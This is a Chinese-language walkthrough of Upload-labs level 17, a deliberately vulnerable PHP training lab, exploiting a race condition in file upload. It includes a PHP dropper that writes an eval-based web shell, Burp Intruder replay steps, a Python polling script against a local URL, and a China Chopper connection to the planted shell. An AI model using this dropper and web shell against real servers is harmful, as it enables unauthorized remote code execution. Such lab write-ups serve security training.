Upload-labs 17 条件竞争

144 阅读1分钟

建议:本地测试,虚拟机的话,因为虚拟网卡转发数据包速率的问题,导致结果不能成功,或者错误
查看源码

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){  //将文件移动到对应的文件夹下(先保存文件)
        if(in_array($file_ext,$ext_arr)){  //判断文件后缀
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);  //合法的文件修改文件名
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);  //不合法的删除
        }
    }else{
        $msg = '上传出错!';
    }
}

思路:源代码中是先将文件保存到文件夹后,再判断的文件后缀是否合法,不合法的删除。在多线程情况下,有可能出现文件夹中的文件还没处理完,我们就访问了原文件,这样就会导致绕过防护。

实验步骤:

第一种:使用python脚本

第一步:使用burpsuite抓包上传shell1.php,一直重放上传文件
shell1内容:<?php fputs(fopen('shell2.php','w'),'<?php @eval($_POST["x"])?>’);?>
作用:
只要访问了shell1.php文件,php文件就会成功解析执行,自动创建一个shell2.php,写入一句话木马:<?php @eval($_POST["x"]);?>
注:
fputs()函数的用法
1、fputs() 函数将内容写入一个打开的文件中。
2、函数会在到达指定长度或读到文件末尾(EOF)时(以先到者为准),停止运行。
3、如果函数成功执行,则返回写入的字节数。如果失败,则返回 FALSE。
4、fputs() 函数是 fwrite() 函数的别名。
fopen()函数的用法
1、fopen() 函数打开一个文件或 URL。
2、如果 fopen() 失败,它将返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 ‘@’ 来隐藏错误输出。
“r” (只读方式打开,将文件指针指向文件头)
“r+” (读写方式打开,将文件指针指向文件头)
“w” (写入方式打开,清除文件内容,如果文件不存在则尝试创建之)
“w+” (读写方式打开,清除文件内容,如果文件不存在则尝试创建之)
“a” (写入方式打开,将文件指针指向文件末尾进行写入,如果文件不存在则尝试创建之)
“a+” (读写方式打开,通过将文件指针指向文件末尾进行写入来保存文件内容)
“x” (创建一个新的文件并以写入方式打开,如果文件已存在则返回 FALSE 和一个错误)
“x+” (创建一个新的文件并以读写方式打开,如果文件已存在则返回 FALSE 和一个错误)

首先:抓包——》右键发送给Intruder
查看发送文件名字为shell.php,发送内容为:1<?php fputs(fopen("info.php", "w"), '<?php @eval($_POST["x"]);?>’); ?>
在这里插入图片描述
设置数据包无限重发
在这里插入图片描述
在这里插入图片描述

第二步:在burpsuite重放数据包之前,打开python脚本运行,脚本代码如下所示:

import requests
url = "http://127.0.0.1/upload-labs/upload/shell.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break
    else:
	    print("NO")

在这里插入图片描述
第三步:开始重放攻击
在这里插入图片描述
仔细观察python脚本,出现OK就停止重放数据包即可。
出现OK的意思是,shell.php在被删除之前成功访问并执行php代码
在这里插入图片描述
php代码执行之后在upload文件夹内生成info.php
在这里插入图片描述
中国菜刀连接成功
在这里插入图片描述

第二种:不使用python脚本

burpsuite工具采用第一种方法多线程重放数据包
手工打开浏览器快速点击URL访问shell.php,直到界面出现如下所示
在这里插入图片描述
表名,我们在shell.php文件删除之前访问了shell.php文件,并且成功执行,生成了一句话木马文件:info.php
在这里插入图片描述
中国菜刀连接成功如下图所示:
在这里插入图片描述

更多web安全工具与存在漏洞的网站搭建源码,收集整理在知识星球。
在这里插入图片描述